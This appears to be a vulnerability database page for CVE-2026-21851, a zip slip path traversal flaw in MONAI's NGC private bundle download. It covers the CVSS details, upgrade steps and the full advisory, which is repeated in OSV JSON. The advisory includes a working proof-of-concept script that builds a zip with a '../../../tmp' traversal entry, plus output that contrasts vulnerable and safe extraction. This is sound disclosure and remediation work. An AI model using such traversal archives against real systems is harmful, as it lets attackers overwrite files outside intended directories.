CVE-2026-21851: Monai Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-9rg3-9pvr-6p27
CVSS 5.3
CWE-22
Published
Advisory Summary

CVE-2026-21851 is a MODERATE (CVSS 5.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Monai libraries in the PyPI ecosystem. The issue involves monai has path traversal (zip slip) in ngc private bundle download. Remediation is available by upgrading affected packages to version 1.5.2.

CVE-2026-21851 at a Glance

CVE Identifier CVE-2026-21851
GHSA Identifier GHSA-9rg3-9pvr-6p27
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Monai
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-21851

To remediate this vulnerability, upgrade all affected Monai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

monai fixed: 1.5.2
pip install monai>=1.5.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show monai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-21851, inspect your installed packages using pip:

pip show monai

Analyze the terminal output to locate any version of Monai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.2), your application is affected.

Note: The pip show monai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Monai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function. This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI. **CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) --- ## Details ### Vulnerable Code Location **File:** `monai/bundle/scripts.py` **Lines:** 291-292 **Function:** `_download_from_ngc_private()` ```python # monai/bundle/scripts.py - Lines 284-293 zip_path = download_path / f"{filename}_v{version}.zip" with open(zip_path, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zip_path}.") if remove_prefix: filename = _remove_ngc_prefix(filename, prefix=remove_prefix) extract_path = download_path / f"{filename}" with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) # <-- No path validation logger.info(f"Writing into directory: {extract_path}.") ``` ### Root Cause The code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory. ### Safe Code Already Exists MONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths: ```python def safe_extract_member(member, extract_to): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(member_path) or ".." in member_path.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {member_path}") # Ensure path stays within extraction root if os.path.commonpath([extract_root, target_real]) != extract_root: raise ValueError(f"Unsafe path: path traversal {member_path}") ``` ### Comparison with Other Download Functions | Function | File | Uses Safe Extraction? | |----------|------|----------------------| | `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) | | `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) | --- ## PoC ### Step 1: Create a Malicious Zip File ```python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io def create_malicious_zip(output_path="malicious_bundle.zip"): zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal bundle file zf.writestr( "monai_test_bundle/configs/metadata.json", '{"name": "test_bundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escaped_file.txt", "This file was written outside the extraction directory.\n" ) with open(output_path, 'wb') as f: f.write(zip_buffer.getvalue()) print(f"Created: {output_path}") with zipfile.ZipFile(output_path, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}") if __name__ == "__main__": create_malicious_zip() ``` **Output:** ``` Created: malicious_bundle.zip Contents: - monai_test_bundle/configs/metadata.json - ../../../tmp/escaped_file.txt ``` ### Step 2: Demonstrate the Difference This script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI): ```python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os def vulnerable_extraction(zip_path, extract_path): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as z: z.extractall(extract_path) print("[VULNERABLE] Extraction completed without validation") def safe_extraction(zip_path, extract_path): """Pattern used in monai/apps/utils.py""" os.makedirs(extract_path, exist_ok=True) with zipfile.ZipFile(zip_path, "r") as zf: for member in zf.infolist(): member_path = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(member_path) or ".." in member_path.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}") # Run demo print("=" * 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerable_extraction("malicious_bundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: rel_path = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {rel_path}") print() print("=" * 50) print("SAFE PATTERN (apps/utils.py)") print("=" * 50) with tempfile.TemporaryDirectory() as tmpdir: safe_extraction("malicious_bundle.zip", tmpdir) ``` **Output:** ``` ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monai_test_bundle/configs/metadata.json Extracted: tmp/escaped_file.txt ================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monai_test_bundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escaped_file.txt ``` --- ## Impact ### Conditions Required for Exploitation 1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use `source="ngc_private"` parameter ### Potential Impact If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization) ### Mitigating Factors - Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The `ngc_private` source is less commonly used than other sources --- ## Recommended Fix Replace the direct `extractall()` call with MONAI's existing safe extraction: ```diff # monai/bundle/scripts.py + from monai.apps.utils import _extract_zip def _download_from_ngc_private(...): # ... existing code ... extract_path = download_path / f"{filename}" - with zipfile.ZipFile(zip_path, "r") as z: - z.extractall(extract_path) - logger.info(f"Writing into directory: {extract_path}.") + _extract_zip(zip_path, extract_path) + logger.info(f"Writing into directory: {extract_path}.") ``` This aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources. --- ## Resources - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability) - [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)

CVE-2026-21851 Affected Monai Versions

1 component(s)
Fixed Versions:
1.5.2
Product / Package Ecosystem Affected Versions Fixed Version
monai
PyPI
< 1.5.2
1.5.2

References

Frequently Asked Questions

What is CVE-2026-21851?
CVE-2026-21851 is a security vulnerability in Monai involving MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Monai versions are affected?
Affected versions include releases prior to 1.5.2 across affected packages: monai.
What version fixes CVE-2026-21851?
Upgrading to 1.5.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is monai affected?
Yes, monai is affected in releases prior to 1.5.2. Upgrade your dependency to 1.5.2 or later.
What is the CVSS score of CVE-2026-21851?
CVE-2026-21851 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-21851?
CVE-2026-21851 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-21851?
Run the dependency tree command: 'pip show monai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9rg3-9pvr-6p27",
  "modified" : "2026-01-29T18:23:14Z",
  "published" : "2026-01-06T17:32:52Z",
  "aliases" : [ "CVE-2026-21851" ],
  "summary" : "MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download",
  "details" : "## Summary\n\nA **Path Traversal (Zip Slip)** vulnerability exists in MONAI's `_download_from_ngc_private()` function. The function uses `zipfile.ZipFile.extractall()` without path validation, while other similar download functions in the same codebase properly use the existing `safe_extract_member()` function.\n\nThis appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.\n\n**CWE:** CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `monai/bundle/scripts.py`  \n**Lines:** 291-292  \n**Function:** `_download_from_ngc_private()`\n\n```python\n# monai/bundle/scripts.py - Lines 284-293\nzip_path = download_path / f\"{filename}_v{version}.zip\"\nwith open(zip_path, \"wb\") as f:\n    f.write(response.content)\nlogger.info(f\"Downloading: {zip_path}.\")\nif remove_prefix:\n    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)\nextract_path = download_path / f\"{filename}\"\nwith zipfile.ZipFile(zip_path, \"r\") as z:\n    z.extractall(extract_path)  # <-- No path validation\n    logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\n### Root Cause\n\nThe code calls `z.extractall(extract_path)` directly without validating that archive member paths stay within the extraction directory.\n\n### Safe Code Already Exists\n\nMONAI already has a safe extraction function in `monai/apps/utils.py` (lines 125-154) that properly validates paths:\n\n```python\ndef safe_extract_member(member, extract_to):\n    \"\"\"Securely verify compressed package member paths to prevent path traversal attacks\"\"\"\n    # ... path validation logic ...\n    \n    if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n        raise ValueError(f\"Unsafe path detected in archive: {member_path}\")\n    \n    # Ensure path stays within extraction root\n    if os.path.commonpath([extract_root, target_real]) != extract_root:\n        raise ValueError(f\"Unsafe path: path traversal {member_path}\")\n```\n\n### Comparison with Other Download Functions\n\n| Function | File | Uses Safe Extraction? |\n|----------|------|----------------------|\n| `_download_from_github()` | scripts.py:198 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_monaihosting()` | scripts.py:205 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_bundle_info()` | scripts.py:215 | ✅ Yes (via `extractall()` wrapper) |\n| `_download_from_ngc_private()` | scripts.py:292 | ❌ No (direct `z.extractall()`) |\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Zip File\n\n```python\n#!/usr/bin/env python3\n\"\"\"Create malicious zip with path traversal entries\"\"\"\nimport zipfile\nimport io\n\ndef create_malicious_zip(output_path=\"malicious_bundle.zip\"):\n    zip_buffer = io.BytesIO()\n    \n    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:\n        # Normal bundle file\n        zf.writestr(\n            \"monai_test_bundle/configs/metadata.json\",\n            '{\"name\": \"test_bundle\", \"version\": \"1.0.0\"}'\n        )\n        \n        # Path traversal entry\n        zf.writestr(\n            \"../../../tmp/escaped_file.txt\",\n            \"This file was written outside the extraction directory.\\n\"\n        )\n    \n    with open(output_path, 'wb') as f:\n        f.write(zip_buffer.getvalue())\n    \n    print(f\"Created: {output_path}\")\n    with zipfile.ZipFile(output_path, 'r') as zf:\n        print(\"Contents:\")\n        for name in zf.namelist():\n            print(f\"  - {name}\")\n\nif __name__ == \"__main__\":\n    create_malicious_zip()\n```\n\n**Output:**\n```\nCreated: malicious_bundle.zip\nContents:\n  - monai_test_bundle/configs/metadata.json\n  - ../../../tmp/escaped_file.txt\n```\n\n### Step 2: Demonstrate the Difference\n\nThis script shows the difference between the vulnerable pattern (used in `_download_from_ngc_private`) and the safe pattern (used elsewhere in MONAI):\n\n```python\n#!/usr/bin/env python3\n\"\"\"Compare vulnerable vs safe extraction\"\"\"\nimport zipfile\nimport tempfile\nimport os\n\ndef vulnerable_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/bundle/scripts.py:291-292\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as z:\n        z.extractall(extract_path)\n    print(\"[VULNERABLE] Extraction completed without validation\")\n\ndef safe_extraction(zip_path, extract_path):\n    \"\"\"Pattern used in monai/apps/utils.py\"\"\"\n    os.makedirs(extract_path, exist_ok=True)\n    with zipfile.ZipFile(zip_path, \"r\") as zf:\n        for member in zf.infolist():\n            member_path = os.path.normpath(member.filename)\n            \n            # Check for path traversal\n            if os.path.isabs(member_path) or \"..\" in member_path.split(os.sep):\n                print(f\"[SAFE] BLOCKED: {member.filename}\")\n                continue\n            \n            print(f\"[SAFE] Allowed: {member.filename}\")\n\n# Run demo\nprint(\"=\" * 50)\nprint(\"VULNERABLE PATTERN (scripts.py:291-292)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    vulnerable_extraction(\"malicious_bundle.zip\", tmpdir)\n    for root, dirs, files in os.walk(tmpdir):\n        for f in files:\n            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)\n            print(f\"  Extracted: {rel_path}\")\n\nprint()\nprint(\"=\" * 50)\nprint(\"SAFE PATTERN (apps/utils.py)\")\nprint(\"=\" * 50)\nwith tempfile.TemporaryDirectory() as tmpdir:\n    safe_extraction(\"malicious_bundle.zip\", tmpdir)\n```\n\n**Output:**\n```\n==================================================\nVULNERABLE PATTERN (scripts.py:291-292)\n==================================================\n[VULNERABLE] Extraction completed without validation\n  Extracted: monai_test_bundle/configs/metadata.json\n  Extracted: tmp/escaped_file.txt\n\n==================================================\nSAFE PATTERN (apps/utils.py)\n==================================================\n[SAFE] Allowed: monai_test_bundle/configs/metadata.json\n[SAFE] BLOCKED: ../../../tmp/escaped_file.txt\n```\n\n---\n\n## Impact\n\n### Conditions Required for Exploitation\n\n1. Attacker must control or compromise an NGC private repository\n2. Victim must configure MONAI to download from that repository\n3. Victim must use `source=\"ngc_private\"` parameter\n\n### Potential Impact\n\nIf exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:\n- The permissions of the user running MONAI\n- The target location of the escaped files\n- Python version (newer versions have some built-in path normalization)\n\n### Mitigating Factors\n\n- Requires attacker to control an NGC private repository\n- Modern Python versions (3.12+) have some built-in path normalization\n- The `ngc_private` source is less commonly used than other sources\n\n---\n\n## Recommended Fix\n\nReplace the direct `extractall()` call with MONAI's existing safe extraction:\n\n```diff\n# monai/bundle/scripts.py\n\n+ from monai.apps.utils import _extract_zip\n\ndef _download_from_ngc_private(...):\n    # ... existing code ...\n    \n    extract_path = download_path / f\"{filename}\"\n-   with zipfile.ZipFile(zip_path, \"r\") as z:\n-       z.extractall(extract_path)\n-       logger.info(f\"Writing into directory: {extract_path}.\")\n+   _extract_zip(zip_path, extract_path)\n+   logger.info(f\"Writing into directory: {extract_path}.\")\n```\n\nThis aligns `_download_from_ngc_private()` with the other download functions and ensures consistent security across all download sources.\n\n---\n\n## Resources\n\n- [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html)\n- [Snyk: Zip Slip Vulnerability](https://security.snyk.io/research/zip-slip-vulnerability)\n- [Python zipfile.extractall() Warning](https://docs.python.org/3/library/zipfile.html#zipfile.ZipFile.extractall)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-9rg3-9pvr-6p27"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-21851"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/commit/4014c8475626f20f158921ae0cf98ed259ae4d59"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-06T17:32:52Z",
    "nvd_published_at" : "2026-01-07T23:15:50Z"
  }
}